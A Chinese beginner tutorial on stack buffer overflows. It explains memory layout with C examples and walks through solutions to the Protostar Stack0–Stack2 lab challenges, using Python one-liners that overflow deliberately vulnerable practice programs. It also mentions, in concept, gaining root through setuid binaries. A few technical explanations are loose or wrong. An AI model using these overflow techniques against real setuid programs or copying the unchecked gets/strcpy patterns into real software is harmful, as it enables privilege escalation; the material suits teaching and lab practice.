缓冲区溢出详细新手教程

  信息安全

导言


首先,我知道关于缓冲区溢出和二进制代码漏洞利用的教程已经是汗牛充栋了,但是,我仍然决定写这篇文章,为何呢?因为大部分的相关教程和文章并没有真正全面介绍掌握缓冲区溢出漏洞利用所需的基本知识。例如,有些教程只解释了什么是缓冲区溢出,却没有为读者介绍什么是缓冲区,什么是堆栈,什么是内存地址等基础知识,所以,我决定写一篇详尽的文章,为读者提供一篇一站式的教程。为此,我将在本文中讨论什么是缓冲区,什么是堆栈,什么是内存地址,以及应用程序的内存结构,什么是缓冲区溢出,以及为什么会发生缓冲区溢出。最后,我将通过一个非常基本和简单的示例代码(ProtoStar Stack0)来展示利用缓冲区溢出漏洞的过程。

缓冲区


那么,什么是缓冲区呢?简单来说,缓冲区就是程序运行时所使用的内存空间或场所。这些内存空间用于存储程序当前使用的临时数据。因此,如果我们有一个简单的程序,它要求用户输入自己的名字,并将其存放到一个名为username的变量中,然后,该程序会输出“Hello username”形式的消息。这样,如果我们运行该程序,并输入用户名“Rick”,那么,“Rick”一词会首先存放到缓冲区中,直到程序执行print命令的时候,该程序才会从缓冲区中取出给定的用户名“Rick”,并输出结果:“Hello Rick”。

我们的示例代码是用c语言编写,具体如下所示:

#include <stdio.h>

int main () {
   char username[20];

   printf("Enter your name: ");
   scanf("%s", username);

   printf("Hello %s\n", username);

   return(0);
}

示例代码详解


int main() 定义主函数
char username [20] 这里是为变量规定名称的地方,但这一行最重要的是char …. [20],其作用是为该变量指定了相应的缓冲区,具体大小为存放20个字符所需内存空间

其余代码的作用是接收用户的输入,然后将其打印输出。

printf("Enter your name: "); 
scanf("%s", username); 
printf("Hello %s\n, username");

那么,当我们编译并运行这个程序时,能否得到预期的输出结果呢?

在讨论缓冲区溢出之前,我们需要先来了解一下应用程序的内存是如何工作的。

应用程序的内存、栈以及内存地址


那么,应用程序的内存到底长啥样呢?堆栈又是什么呢?实际上,堆栈就是一个内存缓冲区,用来存储程序的函数和局部变量。为了便于演示,我们为读者画了一个示意图,具体如下所示。

首先,最下面部分存放的是代码,即程序的源代码编译后的代码,它们是程序的主要指令。

其次,从下往上数第二部分是用于存储全局变量的缓冲区,

局部变量和全局变量之间的区别在于,局部变量被限定在一个特定的函数中:如果在一个函数中定义了一个局部变量,那么,该变量就只能在这个函数中调用。但是,全局变量既可以在主函数中定义,也可以在函数外部定义,并且,这种类型的变量可以在任何地方调用。

然后,再往上就是栈(stack)了,这是内存的重要组成部分,因为缓冲区溢出就是在这里发生的。这是存储局部变量和函数调用的地方。

最后,也是最上面的一部分,即堆(Heap),这是动态内存分配区。

现在,我们已经知道了应用程序的内存是什么样子,以及什么是栈,但是,内存地址又是什么呢?
基本上,当程序被编译和执行时,程序的所有指令位于应用程序对应的内存空间中,并且,并为它们分配一个地址。该地址通常采用十六进制字节的格式。

因此,当我们反汇编一个程序,并查看其代码时,就会看到内存地址,类似这样:

为什么会发生缓冲区溢出呢?


现在,我们已经知道什么是缓冲区,同时,对内存构造也进行了深入探索。接下来,您很可能想要知道问什么会发生缓冲区溢出,以及什么时候会发生溢出。简单来说,当输入的数据的长度超过缓冲区的上限时,就会发生缓冲区溢出,这会导致程序在为其分配的缓冲区之外写入数据,这样,就可能会覆盖程序用来保存数据的某些内存空间,从而使数据不可用,并最终导致程序崩溃。为了演示这一点,让我们回顾一下第一个例子。

#include <stdio.h>

int main () {
   char username[20];

   printf("Enter your name: ");
   scanf("%s", username);

   printf("Hello %s\n", username);
   printf("Program exited normally");
   return(0);
}

处于演示的目的,这里又添加了一行代码,用来输出“program exited noramlly”。

现在,程序运行时会询问我们的用户名,接着打印“Hello username”,然后输出“program exited noramlly”并退出。其中,用于保存变量username的值的缓冲区的长度被设置为20个字符,所以,用户名的长度最好小于20个字符。但是,如果输入的数据的长度超过了20个字符,程序将会崩溃,因为缓冲区外面的某些数据将被覆盖,致使程序的某些部分被破坏掉了。在我们的例子中,被破坏的部分将是打印“program exited noramlly”的那一部分。

首先,让我们运行程序,并输入Rick。

这时,该程序将正常退出。

现在,让我们再次运行它,并输入30个字母A,来为变量username赋值。

这时,我们看到程序会打印“Hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa”,但是,之后并没有看到它输出“program exited normally”,相反,我们看到的是一个段错误。这是因为我们额外输入了10个字符,而程序只需要20个字符,或更少。这些额外的字符,即“aaaaaaaaa”超过了20个字符的缓冲区的容量,会写入缓冲区边界之外的内存中,并覆盖其他数据(即打印“Program exit normal”的打印指令),从而引发段错误,因为程序已被破坏。

借助GDB考察缓冲区溢出


下面,让我们借助GDB(GNU调试器)来更加深入地考察溢出是如何发生的。
我们将编写另一个程序,该程序会创建一个名为“whatever”的变量,然后,它会拷贝我们提供的内容,并将其放入该变量中。我们将该变量的缓冲区的长度设置为20个字节。

#include <stdio.h>
#include <string.h>

int main(int argc, char** argv)
{
    char whatever[20];
    strcpy(whatever, argv[1]);

    return 0;
}

代码详解


int main(int argc,char ** argv) 定义main函数及其参数

char whatever[20]; 创建变量,为其指定名称“whatever”,并将其缓冲区长度指定为20个字节

strcpy(whatever, argv[1]); 将我们输入的字符拷贝到变量“whatever”中

return 0; 这是我们的返回地址

现在,让我们利用gdb运行该程序,以进行相应的测试。

上面输入的内容为aaaaa,长度小于20个字符,所以,程序会正常退出,说明一切正常。

现在,让我们输入20个以上的字符。

我们将看到段错误,这时因为我们的返回地址被覆盖了,程序无法继续运行。

为了说明这些地址是如何被覆盖的,让我们输入一个任意十六进制值,例如\x12,并连续输入50次。然后,让我们来看看寄存器的情况。

我们看到,大多数内存地址都被12覆盖了。

为什么缓冲区溢出如此危险?


现在,您可能会问,这会带来多大的危害呢?

当易受攻击的二进制文件或程序是具有setuid访问权限的二进制文件时,缓冲区溢出问题可能带来巨大的危害。如果您不知道具有setuid权限二进制文件是什么的话,建议阅读提供的链接文章的详细介绍,但简单来说,让执行该程序的用户以该程序拥有者(通常是root)的权限去执行它们,但是当该程序容易受到缓冲区溢出的影响时,这就不太妙了。由于我们可以向缓冲区中传递数据并覆盖程序,因此,我们可以使用执行系统调用的payload覆盖程序,从而得到一个具有root权限的shell。

将来,我将撰写更多有关缓冲区溢出和其他二进制代码利用技术的文章,不过,现在让我们先从Protostar开始吧。

实际上,Hack The box网站上的确有许多需要利用缓冲区溢出漏洞和二进制漏洞利用技术来获得root权限的实验,但它们现在还处于active状态,不过,只要它们退出该状态,我们便会在第一时间发布关于这些实验的文章。在此期间,您可以阅读本人撰写 Hack The Box write-ups

Protostar Stack0


现在,让我们从一个简单的实际例子开始下手。

您可以从这里下载protostar。

在这篇文章中,将解决第一个层次的挑战,也就是stack0层次,然后我将在其他文章中解决其余层次的问题。

下面,我们先来看看相关的源代码:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
 volatile int modified;
 char buffer[64];

 modified = 0;
 gets(buffer);

 if(modified != 0) {
  printf("you have changed the 'modified' variable\n");
 } else {
  printf("Try again?\n");
 }
}

我们可以看出,该程序有一个名为“buffer”的变量,并为其分配64个字符的缓冲区。此外,该程序还有一个变量,即Modified,其值为0。同时,借助于函数gets(buffer) ,我们可以为“buffer”变量赋值,此后,还有一个if语句,其作用是检查“modified”变量的值是否不等于0。如果该值不等于0,它将打印“you have changed the’modified’variable”,然而,如果它仍然等于0的话,将打印“try again?”。所以,我们的任务其实就是改变这个名为“modified”的变量的值。

只要输入的数据少于64个字符,就会一切正常。然而,一旦输入的内容超过了缓冲区的长度,就会将覆盖”modified”变量的值。

我们已经知道缓冲区的长度为64个字符,所以,只需要输入65个或更多的字符,这个变量的值就会被改变。下面,让我们来测试一下。

我们执行stack0的二进制代码,并看到输出为“try again?”。

下面,让我们扔给它65个字符“A”,看看它有什么反应。

python -c "print ('A' * 65)" | ./stack0

看,我们成功地覆盖了该变量的值!

搞定Stack1与Stack2挑战


前面,我们已经成功搞定了Protostar Stack0挑战,下面,我们开始处理Stack1和Stack2。实际上,它们的目标与Stack0的目标是一致的,那就是要改变变量的值,不过,在具体的改变变量的方式上,还是有所不同的。

Stack1挑战


对于这个挑战,相应的代码如下所示:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
 volatile int modified;
 char buffer[64];

 if(argc == 1) {
  errx(1, "please specify an argument\n");
 }

 modified = 0;
 strcpy(buffer, argv[1]);

 if(modified == 0x61626364) {
  printf("you have correctly got the variable to the right value\n");
 } else {
  printf("Try again, you got 0x%08x\n", modified);
 }
}

代码详解


下面,我们对这段代码进行详细的解读:

首先,它创建了一个名为“modified”的变量,并为其分配了64个字符的缓冲区。

volatile int modified; 
char buffer[64];

然后,检查我们是否为其提供了相应的参数。

if(argc == 1) {
  errx(1, "please specify an argument\n");
 }

将变量“modified”的值设为0,然后,将argv[1]中的值拷贝到变量“modified”的缓冲区中。

modified = 0;
strcpy(buffer, argv[1]);

然后,检查这个变量的值是否为0x61626364。

if(modified == 0x61626364) {
  printf("you have correctly got the variable to the right value\n");
 } else {
  printf("Try again, you got 0x%08x\n", modified);
 }

解决方案


因此,这个题目与Stack0题目非常相似,只是需要将变量的值设置为特定值,即0x61626364。实际上,这个值是“dcba”的十六进制的表示形式——需要注意的是,当读取十六进制值时,要从右向左,而不是从左向右读取。为此,我们可以先输入64个字符,然后再输入这个值。好了,下面让我们尝试一下。

首先,让我们运行stack1的代码。

如您所见,它让我们指定一个参数。那么,让我们随便输入一些内容。

我们重复了一次,得到的值还是0x00000000。下面,让我们尝试越过缓冲区来输入任意字符(例如“b”),看看会发生什么情况。

./stack1 `python -c "print ('A' * 64 + 'b')"`

我们看到,该值变成了0x00000062,即“b”的十六进制值,因此,我们的方法是有效的,所以,可以继续应用该方法。

./stack1 `python -c "print ('A' * 64 + 'dcba')"`

搞定了!

不过,我们还能用其他方法来达到这一目的吗?实际上,我们也可以使用十六进制值,而不是输入ASCII码,不过,这需要使用Python进行相应的转换。

./stack1 `python -c "print('A' * 64 + '\x64\x63\x62\x61')"`

Stack2挑战


对于这个挑战,相应的代码如下所示:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
 volatile int modified;
 char buffer[64];
 char *variable;

 variable = getenv("GREENIE");

 if(variable == NULL) {
  errx(1, "please set the GREENIE environment variable\n");
 }

 modified = 0;

 strcpy(buffer, variable);

 if(modified == 0x0d0a0d0a) {
  printf("you have correctly modified the variable\n");
 } else {
  printf("Try again, you got 0x%08x\n", modified);
 }

}

代码详解


下面,我们对这段代码进行详细的解读:

首先,它也创建了一个名为“modified”的变量,并为其分配了64个字符的缓冲区。

volatile int modified;
char buffer[64];

这里的不同之处在于,新添加了是一个名为“variable”的变量,它的值来自一个名为“greenie”的环境变量。

variable = getenv("GREENIE");

之后,该程序的代码会检查变量“variable”的值是否为NULL。

if(variable == NULL) {
  errx(1, "please set the GREENIE environment variable\n");
 }

然后,将Modified的值设置为0 。

modified = 0;

并将变量“variable”的值拷贝到变量“modified”的缓冲区中。

strcpy(buffer, variable);

然后,检查变量“modified”的值是否为0x0D0A0D0A。

if(modified == 0x0d0a0d0a) {
  printf("you have correctly modified the variable\n");
 } else {
  printf("Try again, you got 0x%08x\n", modified);
 }

解决方案


如上所示,这次我们不能直接给变量指定值,而必须通过环境变量来完成。从某些方面来说,这实际上是一个非常好的例子,因为它展示了创造性地利用漏洞的重要性,毕竟,我们每次都面临的情形不可能如出一辙,所以,必须根据具体问题具体分析。

就本例来说,我们可以应用常规的漏洞利用方法,将该值存放到环境变量“GREENIE”中。

但是等一下,那什么是环境变量呢?

环境变量


简单地说,环境变量也是变量,用来存储系统用到的一些东西的值,此外,服务也可以访问这些变量。为了帮助读者理解这个概念,下面举例说明。

下面,我们来看看环境变量BASH:

我们可以看到,这个环境变量的值是/bin/bash

所以,如果我想运行bash,直接在终端中键入bash命令即可,而不用输入冗长的./bin/bash命令,因为,系统会调用变量BASH,并找到相应的路径。

不过,系统并不会为每个二进制文件都存储一个变量,所以,专门提供了一个叫做PATH的环境变量,其中保存了所有可能含有二进制文件的目录,所以,当我们键入命令,如python时,它会在这些目录中进行搜索,然后运行找到的python。

好了,这样解释的话,大家一定能够理解了。当然,理解环境变量对于这个挑战来说不是必要的,但是,如果能够理解这个概念的话,对大家也是非常有用的。

关于环境变量的更多信息,请参阅这里

现在,让我们执行stack2程序。

它提示我们设置环境变量GREENIE。

不过,系统中并没有名为Greenie的环境变量,所以,我们需要自己创建它。之后,给它赋值,具体为:前面是64个字符,后面跟上0x0D0A0D0A。

这一次,我们就不能像Stack1那样来使用ASCII中的值了,因为0x0d是一个回车符,即\r,而0x0a是一个换行符\n,所以,我们不能直接键入这些值,而需要使用相应的十六进制值,然后利用Python完成相应的转换工作。

GREENIE = `python -c "print ('A' * 64 + '\x0a\x0d\x0a\x0d')"`

如图所示,上面只有64个字符A,这是因为看不到回车符和换行符。

现在,我们需要将其导出到环境变量列表中,并再次执行stack2程序。

export GREENIE
./stack2

搞定!

希望本文对初学者能有所帮助,并祝大家阅读愉快!